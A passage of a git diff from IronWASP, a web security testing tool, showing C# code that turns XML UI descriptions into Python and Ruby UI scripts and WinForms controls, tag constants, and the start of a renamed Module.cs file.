(ModUiTags.ReadOnly): + ReadOnly = SubNode.InnerText.Equals("True"); + break; + case (ModUiTags.FillWeight): + FillWeight = float.Parse(SubNode.InnerText); + break; + case (ModUiTags.MinimumWidth): + MinWidth = Int32.Parse(SubNode.InnerText); + break; + case (ModUiTags.Width): + Width = Int32.Parse(SubNode.InnerText); + break; + case (ModUiTags.AutoSizeColumnsMode): + AutoSizeModeStr = SubNode.InnerText; + break; + case (ModUiTags.HeaderText): + EncodedHeaderText = SubNode.InnerText; + break; + } + } + PyCode.AppendLine(string.Format("{0}.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('{1}', '{2}', {3}, {4}, {5}, {6}, '{7}', '{8}'))", ControlName, Name, Type, PyBool(ReadOnly), FillWeight, Width, MinWidth, AutoSizeModeStr, EncodedHeaderText)); + RbCode.AppendLine(string.Format("{0}.Columns.Add(ModUiTools.get_data_grid_view_column_definition('{1}', '{2}', {3}, {4}, {5}, {6}, '{7}, '{8}''))", ControlName, Name, Type, RbBool(ReadOnly), FillWeight, Width, MinWidth, AutoSizeModeStr, EncodedHeaderText)); + (C as ModDataGridView).Columns.Add(ModUiTools.GetDataGridViewColumnDefinition(Name, Type, ReadOnly, FillWeight, Width, MinWidth, AutoSizeModeStr, EncodedHeaderText)); + } + } + static void SetAllowUserToAddRowsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool Allow = (Node.InnerText == "True"); + PyCode.AppendLine(string.Format("{0}.AllowUserToAddRows = {1}", ControlName, PyBool(Allow))); + RbCode.AppendLine(string.Format("{0}.AllowUserToAddRows = {1}", ControlName, RbBool(Allow))); + (C as ModDataGridView).AllowUserToAddRows = Allow; + } + static void SetAllowUserToDeleteRowsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool Allow = (Node.InnerText == "True"); + PyCode.AppendLine(string.Format("{0}.AllowUserToDeleteRows = {1}", ControlName, PyBool(Allow))); + RbCode.AppendLine(string.Format("{0}.AllowUserToDeleteRows = {1}", ControlName, RbBool(Allow))); + (C as ModDataGridView).AllowUserToDeleteRows = Allow; + } + static void SetAllowUserToResizeColumnsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool Allow = (Node.InnerText == "True"); + PyCode.AppendLine(string.Format("{0}.AllowUserToResizeColumns = {1}", ControlName, PyBool(Allow))); + RbCode.AppendLine(string.Format("{0}.AllowUserToResizeColumns = {1}", ControlName, RbBool(Allow))); + (C as ModDataGridView).AllowUserToResizeColumns = Allow; + } + static void SetAllowUserToResizeRowsInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool Allow = (Node.InnerText == "True"); + PyCode.AppendLine(string.Format("{0}.AllowUserToResizeRows = {1}", ControlName, PyBool(Allow))); + RbCode.AppendLine(string.Format("{0}.AllowUserToResizeRows = {1}", ControlName, RbBool(Allow))); + (C as ModDataGridView).AllowUserToResizeRows = Allow; + } + static void SetColumnHeadersVisibleInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool Visible = (Node.InnerText == "True"); + PyCode.AppendLine(string.Format("{0}.ColumnHeadersVisible = {1}", ControlName, PyBool(Visible))); + RbCode.AppendLine(string.Format("{0}.ColumnHeadersVisible = {1}", ControlName, RbBool(Visible))); + (C as ModDataGridView).ColumnHeadersVisible = Visible; + } + static void SetRowHeadersVisibleInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool Visible = (Node.InnerText == "True"); + PyCode.AppendLine(string.Format("{0}.RowHeadersVisible = {1}", ControlName, PyBool(Visible))); + RbCode.AppendLine(string.Format("{0}.RowHeadersVisible = {1}", ControlName, RbBool(Visible))); + (C as ModDataGridView).RowHeadersVisible = Visible; + } + static void SetGridColorInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + int ColorCode = Int32.Parse(Node.InnerText); + PyCode.AppendLine(string.Format("{0}.GridColor = ModUiTools.GetColorDefinition({1})", ControlName, ColorCode)); + RbCode.AppendLine(string.Format("{0}.GridColor = ModUiTools.get_color_definition({1})", ControlName, ColorCode)); + (C as ModDataGridView).GridColor = ModUiTools.GetColorDefinition(ColorCode); + } + static void SetBackgroundColorInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + int ColorCode = Int32.Parse(Node.InnerText); + PyCode.AppendLine(string.Format("{0}.BackgroundColor = ModUiTools.GetColorDefinition({1})", ControlName, ColorCode)); + RbCode.AppendLine(string.Format("{0}.BackgroundColor = ModUiTools.get_color_definition({1})", ControlName, ColorCode)); + (C as ModDataGridView).BackgroundColor = ModUiTools.GetColorDefinition(ColorCode); + } + void SetTabPagesInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + if (!Node.HasChildNodes) return; + foreach (XmlNode TabPageNode in Node.ChildNodes) + { + if (!TabPageNode.HasChildNodes) continue; + string Name = ""; + string Text = ""; + XmlNode ChildrenNode = null; + foreach (XmlNode SubNode in TabPageNode.ChildNodes) + { + switch (SubNode.Name) + { + case (ModUiTags.Name): + Name = SubNode.InnerText; + break; + case (ModUiTags.Properties): + if (!SubNode.HasChildNodes) continue; + foreach (XmlNode PropertyNode in SubNode.ChildNodes) + { + if(PropertyNode.Name.Equals(ModUiTags.Text)) + Text = SubNode.InnerText; + } + break; + case(ModUiTags.Children): + ChildrenNode = SubNode; + break; + } + } + Name = GetControlName("TabPage", Name); + PyCode.AppendLine(string.Format("{0}.TabPages.Add('{1}', '{2}')", ControlName, Name, Text)); + RbCode.AppendLine(string.Format("{0}.TabPages.Add('{1}', '{2}')", ControlName, Name, Text)); + (C as ModTabControl).TabPages.Add(Name, Text); + if (ChildrenNode != null) + { + ModCodeAndControlHolder ChildResult = ConvertControlChildXmlNodesToCode(ChildrenNode, string.Format("{0}.TabPages['{1}']", ControlName, Name), (C as ModTabControl).TabPages[Name]); + PyCode.Append(ChildResult.PyCode); + RbCode.Append(ChildResult.RbCode); + } + } + } + static void SetSplitContainerOrientationInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + PyCode.AppendLine(string.Format("{0}.Orientation = ModUiTools.GetSplitOrientation('{1}')", ControlName, Node.InnerText)); + RbCode.AppendLine(string.Format("{0}.Orientation = ModUiTools.get_split_orientation('{1}')", ControlName, Node.InnerText)); + (C as ModSplitContainer).Orientation = ModUiTools.GetSplitOrientation(Node.InnerText); + } + static void SetSplitContainerFixedPanelInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + PyCode.AppendLine(string.Format("{0}.FixedPanel = ModUiTools.GetFixedPanel('{1}')", ControlName, Node.InnerText)); + RbCode.AppendLine(string.Format("{0}.FixedPanel = ModUiTools.get_fixed_panel('{1}')", ControlName, Node.InnerText)); + (C as ModSplitContainer).FixedPanel = ModUiTools.GetFixedPanel(Node.InnerText); + } + static void SetSplitContainerSplitterDistanceInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + int SplitterDistance = Int32.Parse(Node.InnerText); + PyCode.AppendLine(string.Format("{0}.SplitterDistance = {1}", ControlName, SplitterDistance)); + RbCode.AppendLine(string.Format("{0}.SplitterDistance = {1}", ControlName, SplitterDistance)); + (C as ModSplitContainer).SplitterDistance = SplitterDistance; + } + static void SetSplitContainerIsSplitterFixedInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + bool IsFixed = (Node.InnerText == "True"); + PyCode.AppendLine(string.Format("{0}.IsSplitterFixed = {1}", ControlName, PyBool(IsFixed))); + RbCode.AppendLine(string.Format("{0}.IsSplitterFixed = {1}", ControlName, RbBool(IsFixed))); + (C as ModSplitContainer).IsSplitterFixed = IsFixed; + } + void SetSplitContainerPanelTwoInCode(StringBuilder PyCode, StringBuilder RbCode, string ControlName, Control C, XmlNode Node) + { + if (!Node.HasChildNodes) return; + foreach (XmlNode TabPageNode in Node.ChildNodes) + { + if (!TabPageNode.HasChildNodes) continue; + string Name = ""; + string Text = ""; + XmlNode ChildrenNode = null; + foreach (XmlNode SubNode in TabPageNode.ChildNodes) + { + switch (SubNode.Name) + { + case (ModUiTags.Name): + Name = SubNode.InnerText; + break; + case (ModUiTags.Properties): + if (!SubNode.HasChildNodes) continue; + foreach (XmlNode PropertyNode in SubNode.ChildNodes) + { + if (PropertyNode.Name.Equals(ModUiTags.Text)) + Text = SubNode.InnerText; + } + break; + case (ModUiTags.Children): + ChildrenNode = SubNode; + break; + } + } + Name = GetControlName("TabPage", Name); + PyCode.AppendLine(string.Format("{0}.TabPages.Add('{1}', '{2}')", ControlName, Name, Text)); + RbCode.AppendLine(string.Format("{0}.TabPages.Add('{1}', '{2}')", ControlName, Name, Text)); + (C as ModTabControl).TabPages.Add(Name, Text); + if (ChildrenNode != null) + { + ModCodeAndControlHolder ChildResult = ConvertControlChildXmlNodesToCode(ChildrenNode, string.Format("{0}.TabPages['{1}']", ControlName, Name), (C as ModTabControl).TabPages[Name]); + PyCode.Append(ChildResult.PyCode); + RbCode.Append(ChildResult.RbCode); + } + } + } + #endregion + + ModCodeAndControlHolder ConvertControlEventHandlersNodeToCode(XmlNode EventHandlersNode, string ControlName, Control C) + { + StringBuilder PyCode = new StringBuilder(); + StringBuilder RbCode = new StringBuilder(); + foreach (XmlNode ChildNode in EventHandlersNode.ChildNodes) + { + ModCodeAndControlHolder ChildCode = ConvertControlEventHandlerNodeToCode(ChildNode, ControlName, C); + PyCode.Append(ChildCode.PyCode); + RbCode.Append(ChildCode.RbCode); + } + ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); + Result.PyCode = PyCode.ToString(); + Result.RbCode = RbCode.ToString(); + Result.Control = C; + return Result; + } + ModCodeAndControlHolder ConvertControlEventHandlerNodeToCode(XmlNode EventHandlerNode, string ControlName, Control C) + { + StringBuilder PyCode = new StringBuilder(); + StringBuilder RbCode = new StringBuilder(); + string EventName = EventHandlerNode.Name; + string EventHandlerMethod = EventHandlerNode.InnerText; + if (EventHandlerMethod.Length > 0) + { + PyCode.AppendLine(string.Format("{0}.{1} += lambda s,e: {2}", ControlName, EventName, EventHandlerMethod)); + RbCode.AppendLine(string.Format("{0}.{1} do |s, e|", ControlName, EventName)); + RbCode.AppendLine(string.Format(" {0}", EventHandlerMethod)); + RbCode.AppendLine("end"); + switch (C.GetType().Name) + { + case ("Form"): + ModUi.EventHandlers[EventName] = EventHandlerMethod; + break; + case ("ModTextBox"): + (C as ModTextBox).EventHandlers[EventName] = EventHandlerMethod; + break; + case ("ModRichTextBox"): + (C as ModRichTextBox).EventHandlers[EventName] = EventHandlerMethod; + break; + case ("ModButton"): + (C as ModButton).EventHandlers[EventName] = EventHandlerMethod; + break; + case ("ModCheckBox"): + (C as ModCheckBox).EventHandlers[EventName] = EventHandlerMethod; + break; + case ("ModRadioButton"): + (C as ModRadioButton).EventHandlers[EventName] = EventHandlerMethod; + break; + case ("ModLabel"): + (C as ModLabel).EventHandlers[EventName] = EventHandlerMethod; + break; + case ("ModDataGridView"): + (C as ModDataGridView).EventHandlers[EventName] = EventHandlerMethod; + break; + case ("ModPanel"): + (C as ModPanel).EventHandlers[EventName] = EventHandlerMethod; + break; + case ("ModTabControl"): + (C as ModTabControl).EventHandlers[EventName] = EventHandlerMethod; + break; + } + } + ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); + Result.PyCode = PyCode.ToString(); + Result.RbCode = RbCode.ToString(); + Result.Control = C; + return Result; + } + + ModCodeAndControlHolder ConvertControlChildXmlNodesToCode(XmlNode ParentNode, string ParentName, Control ParentControl) + { + StringBuilder PyCode = new StringBuilder(); + StringBuilder RbCode = new StringBuilder(); + foreach (XmlNode ChildNode in ParentNode.ChildNodes) + { + string ReadControlName = GetControlNameFromControlXmlNode(ChildNode); + string ControlName = GetControlName(ChildNode.Name, ReadControlName); + Control C; + switch (ChildNode.Name) + { + case ("ModLabel"): + PyCode.AppendLine(string.Format("{0} = ModLabel()", ControlName)); + RbCode.AppendLine(string.Format("{0} = ModLabel.new()", ControlName)); + try + { + C = (ModLabel)ModUiDesigner.IDH.CreateComponent(typeof(ModLabel), ControlName); + } + catch { C = new ModLabel(); } + break; + case ("ModTextBox"): + PyCode.AppendLine(string.Format("{0} = ModTextBox()", ControlName)); + RbCode.AppendLine(string.Format("{0} = ModTextBox.new()", ControlName)); + try + { + C = (ModTextBox)ModUiDesigner.IDH.CreateComponent(typeof(ModTextBox), ControlName); + } + catch { C = new ModTextBox(); } + break; + case ("ModRichTextBox"): + PyCode.AppendLine(string.Format("{0} = ModRichTextBox()", ControlName)); + RbCode.AppendLine(string.Format("{0} = ModRichTextBox.new()", ControlName)); + try + { + C = (ModRichTextBox)ModUiDesigner.IDH.CreateComponent(typeof(ModRichTextBox), ControlName); + } + catch { C = new ModRichTextBox(); } + break; + case ("ModButton"): + PyCode.AppendLine(string.Format("{0} = ModButton()", ControlName)); + RbCode.AppendLine(string.Format("{0} = ModButton.new()", ControlName)); + try + { + C = (ModButton)ModUiDesigner.IDH.CreateComponent(typeof(ModButton), ControlName); + } + catch { C = new ModButton(); } + break; + case ("ModCheckBox"): + PyCode.AppendLine(string.Format("{0} = ModCheckBox()", ControlName)); + RbCode.AppendLine(string.Format("{0} = ModCheckBox.new()", ControlName)); + try + { + C = (ModCheckBox)ModUiDesigner.IDH.CreateComponent(typeof(ModCheckBox), ControlName); + } + catch { C = new ModCheckBox(); } + break; + case ("ModRadioButton"): + PyCode.AppendLine(string.Format("{0} = ModRadioButton()", ControlName)); + RbCode.AppendLine(string.Format("{0} = ModRadioButton.new()", ControlName)); + try + { + C = (ModRadioButton)ModUiDesigner.IDH.CreateComponent(typeof(ModRadioButton), ControlName); + } + catch { C = new ModRadioButton(); } + break; + case ("ModDataGridView"): + PyCode.AppendLine(string.Format("{0} = ModDataGridView()", ControlName)); + RbCode.AppendLine(string.Format("{0} = ModDataGridView.new()", ControlName)); + try + { + C = (ModDataGridView)ModUiDesigner.IDH.CreateComponent(typeof(ModDataGridView), ControlName); + } + catch { C = new ModDataGridView(); } + break; + case ("ModPanel"): + PyCode.AppendLine(string.Format("{0} = ModPanel()", ControlName)); + RbCode.AppendLine(string.Format("{0} = ModPanel.new()", ControlName)); + try + { + C = (ModPanel)ModUiDesigner.IDH.CreateComponent(typeof(ModPanel), ControlName); + } + catch { C = new ModPanel(); } + break; + case ("ModSplitContainer"): + PyCode.AppendLine(string.Format("{0} = ModSplitContainer()", ControlName)); + RbCode.AppendLine(string.Format("{0} = ModSplitContainer.new()", ControlName)); + try + { + C = (ModSplitContainer)ModUiDesigner.IDH.CreateComponent(typeof(ModSplitContainer), ControlName); + } + catch { C = new ModSplitContainer(); } + break; + case ("ModTabControl"): + PyCode.AppendLine(string.Format("{0} = ModTabControl()", ControlName)); + RbCode.AppendLine(string.Format("{0} = ModTabControl.new()", ControlName)); + ModTabControl M = new ModTabControl(); + try + { + C = (ModTabControl)ModUiDesigner.IDH.CreateComponent(typeof(ModTabControl), ControlName); + } + catch { C = new ModTabControl(); } + break; + default: + continue; + } + SetNameInCode(PyCode, RbCode, ControlName, C); + ModCodeAndControlHolder CPECC = ConvertControlPropertiesEventHandlersChildrenToCode(ChildNode, ControlName, C); + PyCode.Append(CPECC.PyCode); + RbCode.Append(CPECC.RbCode); + PyCode.AppendLine(string.Format("{0}.Controls.Add({1})", ParentName, ControlName)); + RbCode.AppendLine(string.Format("{0}.Controls.Add({1})", ParentName, ControlName)); + PyCode.AppendLine(string.Format("ui.ModControls['{0}'] = {0}", ControlName)); + RbCode.AppendLine(string.Format("ui.mod_controls['{0}'] = {0}", ControlName)); + if (ParentName.EndsWith(".Panel1")) + { + CPECC.Control.Parent = ((SplitContainer)ParentControl).Panel1; + } + else if (ParentName.EndsWith(".Panel2")) + { + CPECC.Control.Parent = ((SplitContainer)ParentControl).Panel2; + } + else + { + CPECC.Control.Parent = ParentControl; + } + } + ModCodeAndControlHolder Result = new ModCodeAndControlHolder(); + Result.PyCode = PyCode.ToString(); + Result.RbCode = RbCode.ToString(); + Result.Control = ParentControl; + return Result; + } + string GetControlNameFromControlXmlNode(XmlNode Node) + { + if (Node.HasChildNodes) + { + foreach (XmlNode ChildNode in Node.ChildNodes) + { + if (ChildNode.Name.Equals(ModUiTags.Name)) return ChildNode.InnerText; + } + } + return ""; + } + static string PyBool(bool BoolValue) + { + if (BoolValue) + return "True"; + else + return "False"; + } + static string RbBool(bool BoolValue) + { + if (BoolValue) + return "true"; + else + return "false"; + } + //static string ConvertControlPropertiesXmlNodeToCode(XmlNode Node, bool IsPython) + //{ + // StringBuilder Code = new StringBuilder(); + // if (ValidControlTags.ContainsKey(Node.Name.ToLower())) + // { + + // } + // return Code.ToString(); + //} + #endregion + + #region DefinitionGetters + public static AnchorStyles GetAnchorStyleDefinition(bool Top, bool Bottom, bool Left, bool Right) + { + AnchorStyles AS = AnchorStyles.None; + if (Top || Bottom || Left || Right) + { + AS = AS ^ AnchorStyles.None; + if (Top) AS = AS | AnchorStyles.Top; + if (Bottom) AS = AS | AnchorStyles.Bottom; + if (Left) AS = AS | AnchorStyles.Left; + if (Right) AS = AS | AnchorStyles.Right; + } + return AS; + } + public static DockStyle GetDockStyleDefinition(string DockStyleName) + { + switch (DockStyleName) + { + case("Fill"): + return DockStyle.Fill; + case ("Top"): + return DockStyle.Top; + case ("Left"): + return DockStyle.Left; + case ("Right"): + return DockStyle.Right; + case ("Bottom"): + return DockStyle.Bottom; + default: + return DockStyle.None; + } + } + public static BorderStyle GetBorderStyleDefinition(string BorderStyleName) + { + switch (BorderStyleName) + { + case ("Fixed3D"): + return BorderStyle.Fixed3D; + case ("FixedSingle"): + return BorderStyle.FixedSingle; + case ("None"): + return BorderStyle.None; + default: + throw new Exception(string.Format("Invalid BorderStyle - {0}", BorderStyleName)); + } + } + public static ScrollBars GetScrollBarsDefinition(string ScrollBarsName) + { + switch (ScrollBarsName) + { + case ("Both"): + return ScrollBars.Both; + case ("Horizontal"): + return ScrollBars.Horizontal; + case ("None"): + return ScrollBars.None; + case ("Vertical"): + return ScrollBars.Vertical; + default: + throw new Exception(string.Format("Invalid ScrollBars - {0}", ScrollBarsName)); + } + } + public static RichTextBoxScrollBars GetRichTextBoxScrollBarsDefinition(string ScrollBarsName) + { + switch (ScrollBarsName) + { + case ("Both"): + return RichTextBoxScrollBars.Both; + case ("ForcedBoth"): + return RichTextBoxScrollBars.ForcedBoth; + case ("ForcedHorizontal"): + return RichTextBoxScrollBars.ForcedHorizontal; + case ("ForcedVertical"): + return RichTextBoxScrollBars.ForcedVertical; + case ("Horizontal"): + return RichTextBoxScrollBars.Horizontal; + case ("Vertical"): + return RichTextBoxScrollBars.Vertical; + case ("None"): + return RichTextBoxScrollBars.None; + default: + throw new Exception(string.Format("Invalid ScrollBars - {0}", ScrollBarsName)); + } + } + public static HorizontalAlignment GetTextAlignDefinition(string TextAlignName) + { + switch (TextAlignName) + { + case ("Left"): + return HorizontalAlignment.Left; + case ("Right"): + return HorizontalAlignment.Right; + case ("Center"): + return HorizontalAlignment.Center; + default: + throw new Exception(string.Format("Invalid TextAlignment - {0}", TextAlignName)); + } + } + public static Font GetFontDefinition(string FontFamilyName, float Size, bool Bold, bool Italic, bool Strikeout, bool Underline) + { + FontStyle FS = FontStyle.Regular; + if (Bold || Italic || Strikeout || Underline) + { + FS = FS ^ FontStyle.Regular; + if (Bold) FS = FS | FontStyle.Bold; + if (Italic) FS = FS | FontStyle.Italic; + if (Strikeout) FS = FS | FontStyle.Strikeout; + if (Underline) FS = FS | FontStyle.Underline; + + } + return new Font(FontFamilyName, Size, FS); + } + public static Size GetSizeDefinition(int Width, int Height) + { + return new Size(Width, Height); + } + public static Point GetLocationDefinition(int X, int Y) + { + return new Point(X, Y); + } + public static Color GetColorDefinition(int Colorcode) + { + return Color.FromArgb(Colorcode); + } + public static Icon GetIconDefinition(string IconString) + { + MemoryStream TMS = new MemoryStream(Convert.FromBase64String(IconString)); + return new Icon(TMS); + } + public static Orientation GetSplitOrientation(string OrientationString) + { + switch (OrientationString) + { + case ("Horizontal"): + return Orientation.Horizontal; + case ("Vertical"): + return Orientation.Vertical; + default: + throw new Exception(string.Format("Invalid TextAlignment - {0}", OrientationString)); + } + } + public static FixedPanel GetFixedPanel(string FixedPanelName) + { + switch (FixedPanelName) + { + case ("None"): + return FixedPanel.None; + case ("Panel1"): + return FixedPanel.Panel1; + case ("Panel2"): + return FixedPanel.Panel2; + default: + throw new Exception(string.Format("Invalid TextAlignment - {0}", FixedPanelName)); + } + } + public static DataGridViewColumn GetDataGridViewColumnDefinition(string Name, string Type, bool ReadOnly, float FillWeight, int Width, int MinWidth, string AutoSizeModeStr, string EncodedHeaderText) + { + DataGridViewColumn C = new DataGridViewColumn(); + switch (Type) + { + case("DataGridTextBoxColumn"): + case ("DataGridViewTextBoxCell"): + C = new DataGridViewTextBoxColumn(); + break; + case ("DataGridViewCheckBoxColumn"): + case ("DataGridViewCheckBoxCell"): + C = new DataGridViewCheckBoxColumn(); + break; + } + C.Name = Name; + C.FillWeight = FillWeight; + C.Width = Width; + C.MinimumWidth = MinWidth; + C.ReadOnly = ReadOnly; + C.HeaderText = Tools.Base64Decode(EncodedHeaderText); + C.HeaderCell.Style.Alignment = DataGridViewContentAlignment.MiddleCenter; + switch (AutoSizeModeStr) + { + case ("AllCells"): + C.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + break; + case ("AllCellsExceptHeader"): + C.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCellsExceptHeader; + break; + case ("ColumnHeader"): + C.AutoSizeMode = DataGridViewAutoSizeColumnMode.ColumnHeader; + break; + case ("DisplayedCells"): + C.AutoSizeMode = DataGridViewAutoSizeColumnMode.DisplayedCells; + break; + case ("DisplayedCellsExceptHeader"): + C.AutoSizeMode = DataGridViewAutoSizeColumnMode.DisplayedCellsExceptHeader; + break; + case ("Fill"): + C.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + break; + case ("None"): + C.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + break; + case ("NotSet"): + C.AutoSizeMode = DataGridViewAutoSizeColumnMode.NotSet; + break; + } + return C; + } + #endregion + } + + public static class ModUiTags + { + #region Controls + public const string Ui = "UI"; + public const string ModLabel = "ModLabel"; + public const string ModButton = "ModButton"; + public const string ModTextBox = "ModTextBox"; + public const string ModRichTextBox = "ModRichTextBox"; + public const string ModCheckBox = "ModCheckBox"; + public const string ModRadioButton = "ModRadioButton"; + public const string ModDataGridView = "ModDataGridView"; + public const string ModPanel = "ModPanel"; + public const string ModSplitContainer = "ModSplitContainer"; + public const string ModTabControl = "ModTabControl"; + #endregion + #region Basic + public const string Properties = "properties"; + public const string EventHandlers = "event_handlers"; + public const string Children = "children"; + #endregion + #region Properties + //basic + public const string Name = "name"; + public const string Size = "size"; + public const string SizeWidth = "width"; + public const string SizeHeight = "height"; + public const string Location = "location"; + public const string LocationX = "x"; + public const string LocationY = "y"; + public const string Anchor = "anchor"; + public const string AnchorTop = "top"; + public const string AnchorBottom = "bottom"; + public const string AnchorLeft = "left"; + public const string AnchorRight = "right"; + public const string Dock = "dock"; + public const string Enabled = "enabled"; + public const string Visible = "visible"; + public const string BackColor = "back_color"; + public const string ForeColor = "fore_color"; + //form + public const string Icon = "icon"; + //text + public const string Font = "font"; + public const string FontBold = "bold"; + public const string FontFamily = "font_family"; + public const string FontItalic = "italic"; + public const string FontSize = "size"; + public const string FontStrikeout = "strikeout"; + public const string FontUnderline = "underline"; + public const string ReadOnly = "read_only"; + public const string BorderStyle = "border_style"; + public const string Text = "text"; + public const string PasswordChar = "pwd_char"; + public const string MultiLine = "multi_line"; + public const string Wordwrap = "word_wrap"; + public const string TextAlign = "text_align"; + public const string ScrollBars = "scroll_bars"; + //rich text + public const string Rtf = "rtf"; + public const string RichTextScrollBars = "rich_text_scroll_bars"; + public const string DetectUrls = "detect_urls"; + //radio button/checkbox + public const string Checked = "checked"; + //datagridview + public const string AllowUserToAddRows = "allow_add_rows"; + public const string AllowUserToDeleteRows = "allow_delete_rows"; + public const string AllowUserToOrderColumns = "allow_order_columns"; + public const string AllowUserToResizeColumns = "allow_resize_columns"; + public const string AllowUserToResizeRows = "allow_resize_rows"; + public const string ColumnHeadersVisible = "columns_headers_visible"; + public const string ColumnHeadersDefaultCellStyle = "columns_headers_default_cell_style"; + public const string ColumnHeadersBorderStyle = "columns_headers_border_style"; + public const string ColumnHeadersHeightSizeMode = "columns_headers_height_size_mode"; + public const string Columns = "columns"; + public const string Column = "column"; + public const string AutoSizeColumnsMode = "auto_size_columns_mode"; + public const string AlternatingRowsDefaultCellStyle = "alternating_rows_style"; + public const string AutoSizeRowsMode = "auto_size_rows_mode"; + public const string RowsDefaultCellStyle = "rows_default_cell_style"; + public const string RowHeadersVisible = "row_headers_visible"; + public const string DefaultCellStyle = "default_cell_style"; + public const string CellBorderStyle = "cell_border_style"; + public const string CellStyleAlignment = "alignment"; + public const string GridColor = "grid_color"; + public const string MultiSelect = "multi_select"; + public const string BackgroundColor = "background_color"; + public const string CellStyleWrapMode = "wrap_mode"; + public const string CellStyle = "wrap_mode"; + public const string SelectionMode = "selection_mode"; + //data grid view column listbox + public const string AutoSizeMode = "auto_size_mode"; + public const string SortMode = "sort_mode"; + public const string MinimumWidth = "minimum_width"; + public const string Width = "width"; + public const string Resizable = "resizable"; + public const string HeaderText = "header_text"; + public const string CellType = "cell_type"; + public const string FillWeight = "fill_weight"; + //tab control + public const string TabPages = "tab_pages"; + public const string TabPage = "tab_page"; + //panel & tab control + public const string Controls = "controls"; + //splitcontainer + public const string FixedPanel = "fixed_panel"; + public const string IsSplitterFixed = "is_splitter_fixed"; + public const string Orientation = "orientation"; + public const string SplitterDistance = "splitter_distance"; + public const string PanelOne = "panel_one"; + public const string PanelTwo = "panel_two"; + #endregion + #region EventHandlers + #endregion + + } + + public class ModCodeAndControlHolder + { + internal string XmlCode = ""; + internal string PyCode = ""; + internal string RbCode = ""; + internal Control Control = null; + } +} diff --git a/IronWASP/Module.cs b/Iron/Module.cs similarity index 97% rename from IronWASP/Module.cs rename to Iron/Module.cs index bc07191..eb04bfc 100644 --- a/IronWASP/Module.cs +++ b/Iron/Module.cs @@ -1,729 +1,729 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.IO; -using System.Xml; -using Microsoft.Scripting; -using Microsoft.Scripting.Runtime; -using Microsoft.Scripting.Hosting; -using IronPython; -using IronPython.Hosting; -using IronPython.Modules; -using IronPython.Runtime; -using IronPython.Runtime.Exceptions; -using IronRuby; -using IronRuby.Hosting; -using IronRuby.Runtime; -using IronRuby.StandardLibrary; -using System.Reflection; -using System.Windows.Forms; - -namespace IronWASP -{ - public class Module - { - public string Name = ""; - //Read from Module XML - internal string Version = "0.0"; - internal string DisplayName = ""; - internal string Category = ""; - internal string Author = ""; - internal string Description = ""; - internal string ProjectHome = ""; - internal string FileName = ""; - internal bool WorksOnSession = false; - internal bool WorksOnFinding = false; - internal bool WorksOnUrl = false; - internal int ThreadId = 0; - - public const string FINDING = "Finding"; - public const string URL = "Url"; - public const string SESSION = "Session"; - public const string ALL = "All"; - - public int MainThreadId - { - get - { - return this.ThreadId; - } - } - - internal static List Collection = new List(); - - internal static List ModuleListFromXml = new List(); - - static List PromptWindows = new List(); - static ScriptEngine Engine = null; - - internal static Queue RecentOnSessionModules = new Queue(); - - public virtual void StartModule() - { - List Messages = new List(); - StringBuilder Msg = new StringBuilder("To run this module - "); - - foreach (Module M in ModuleListFromXml) - { - if (M.Name.Equals(this.Name)) - { - if (M.WorksOnSession) - { - Messages.Add("You must right-click on a log from the 'Logs' section and run this module on the selected log."); - } - if (M.WorksOnUrl) - { - Messages.Add("You must right-click on any section of the sitemap and run this module on selected url"); - } - if (M.WorksOnFinding) - { - Messages.Add("You must right-click on any finding and run this module on selected finding"); - } - - break; - } - } - - Msg.AppendLine(); - for (int i = 0; i < Messages.Count; i++) - { - Msg.AppendLine(Messages[i]); - if (i < Messages.Count - 1) - { - Msg.AppendLine("or"); - } - } - - MessageBox.Show(Msg.ToString()); - } - - public virtual void StartModuleOnSession(Session Sess) - { - - } - - public virtual void StartModuleOnUrl(string Url) - { - - } - - public virtual void StartModuleOnFinding(Finding Result) - { - - } - - public void StopModule() - { - try - { - IronThread.Stop(this.ThreadId); - } - catch { } - } - - public virtual Module GetInstance() - { - return new Module(); - } - - public static void Add(Module Mod) - { - if ((Mod.Name.Length > 0) && !(Mod.Name.Equals("All") || Mod.Name.Equals("None"))) - { - if (!List().Contains(Mod.Name)) - { - foreach (Module M in ModuleListFromXml) - { - if (M.Name.Equals(Mod.Name)) - { - CopyModuleProperties(M, Mod); - break; - } - } - lock (Collection) - { - Collection.Add(Mod); - } - } - } - } - - public static List List() - { - List Names = new List(); - foreach (Module Mod in Collection) - { - Names.Add(Mod.Name); - } - return Names; - } - - public static List ListAll() - { - List Names = new List(); - foreach (Module Mod in ModuleListFromXml) - { - 